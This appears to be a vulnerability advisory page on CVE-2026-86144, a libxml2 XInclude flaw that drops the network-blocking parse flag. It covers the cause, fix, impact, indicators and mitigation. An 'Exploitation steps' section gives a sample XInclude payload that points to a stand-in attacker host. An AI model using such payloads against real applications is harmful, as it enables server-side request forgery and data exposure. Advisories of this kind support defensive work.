CVE-2026-86144
Linux Debian vulnerability analysis and mitigation

Overview

CVE-2026-86144 is a security feature bypass vulnerability in libxml2's XInclude implementation where xmlXIncludeProcess and xmlXIncludeProcessTree fail to propagate parseFlags to sub-parsers. This omission allows security-relevant flags such as XML_PARSE_NONET to be silently dropped, enabling a custom resource loader to access the internet and potentially trigger XML External Entity (XXE) injection, Server-Side Request Forgery (SSRF), or denial of service. All versions of libxml2 before 2.15.4 are affected. The vulnerability was published on September 5, 2026, with a patch available in the same release. It carries a CVSS v3.1 base score of 5.6 (Medium) (Github Advisory).

Technical details

The root cause is classified as CWE-669 (Incorrect Resource Transfer Between Spheres): when xmlXIncludeProcess or xmlXIncludeProcessTree are called, they internally invoked xmlXIncludeProcessFlags with a hardcoded flags value of 0 rather than forwarding the document's parseFlags field. The fix, committed in b63cd51, changes xmlXIncludeProcess to pass doc->parseFlags and xmlXIncludeProcessTree to pass tree->doc->parseFlags, and also adds xmlCtxtUseOptions(pctxt, ctxt->parseFlags) in xmlXIncludeLoadTxt. Exploitation requires a local attack vector with high complexity — specifically, an application must use a custom resource loader and process attacker-influenced XML containing XInclude directives while relying on XML_PARSE_NONET for network isolation (Github Advisory, libxml2 commit).

Impact

Successful exploitation can result in low-level confidentiality, integrity, and availability impacts with a changed scope — meaning the vulnerable component can affect resources outside its security boundary. An attacker who can supply malicious XML with XInclude directives to an application using a custom resource loader may cause that loader to make unintended outbound network requests (SSRF), retrieve and inject external XML entities (XXE), or trigger a denial of service by referencing intentionally slow attacker-controlled internet resources. The impact is constrained by the high attack complexity and the requirement for a custom resource loader to be in use (Github Advisory).

Exploitability

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at the time of disclosure. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation requires high attack complexity, including the presence of a custom resource loader and attacker-controlled XML input (Github Advisory).

Exploitation steps

  1. Identify a target application: Find an application that uses libxml2 (version < 2.15.4) with a custom resource loader and processes XML documents containing XInclude directives, relying on XML_PARSE_NONET to prevent network access.
  2. Craft a malicious XML document: Construct an XML file with an XInclude directive referencing an attacker-controlled external resource (e.g., <xi:include href="http://attacker.example.com/payload.xml" xmlns:xi="http://www.w3.org/2001/XInclude"/>).
  3. Supply the XML to the target: Deliver the crafted XML to the application through any available input channel (file upload, API endpoint, etc.).
  4. Trigger XInclude processing: When the application calls xmlXIncludeProcess() or xmlXIncludeProcessTree(), the XML_PARSE_NONET flag is not propagated, allowing the custom resource loader to make outbound network requests to the attacker-controlled URL.
  5. Achieve objective: Depending on the custom loader's behavior, the attacker may exfiltrate data via SSRF, inject external XML content (XXE), or cause a DoS by referencing a slow-responding server (Github Advisory, libxml2 commit).

Indicators of compromise

  • Network: Unexpected outbound HTTP/HTTPS connections from application servers processing XML, particularly to external or unknown hosts, originating from a process that uses libxml2.
  • Logs: Application or web server logs showing XML parsing errors referencing external URLs (e.g., I/O error : failed to load "http://example.invalid/file.txt": Attempt to load network entity) — note that on patched systems this error is expected; on unpatched systems the request may succeed silently.
  • Process: Unusual network activity from processes that should be operating in a network-isolated mode (i.e., those expected to use XML_PARSE_NONET).

Mitigation and workarounds

Upgrade libxml2 to version 2.15.4 or later, which correctly propagates parseFlags (including XML_PARSE_NONET) through xmlXIncludeProcess and xmlXIncludeProcessTree. As a workaround prior to patching, applications can explicitly call xmlXIncludeProcessFlags() or xmlXIncludeProcessTreeFlags() with the desired flags instead of the flag-less variants. Additionally, review any application using libxml2's XInclude functionality with custom resource loaders to ensure network isolation assumptions are valid (Github Advisory, libxml2 commit).

Additional resources


SourceThis report was generated using AI

Related Linux Debian vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-86140HIGH8
  • Linux Debian logoLinux Debian
  • libxml2
NoNoSep 05, 2026
CVE-2026-86143MEDIUM6.9
  • Linux Debian logoLinux Debian
  • libxml2
NoNoSep 05, 2026
CVE-2026-86142MEDIUM6.9
  • Linux Debian logoLinux Debian
  • libxml2
NoNoSep 05, 2026
CVE-2026-86144MEDIUM5.6
  • Linux Debian logoLinux Debian
  • libxml2
NoNoSep 05, 2026
CVE-2026-86141LOW2.9
  • Linux Debian logoLinux Debian
  • libxml2
NoNoSep 05, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management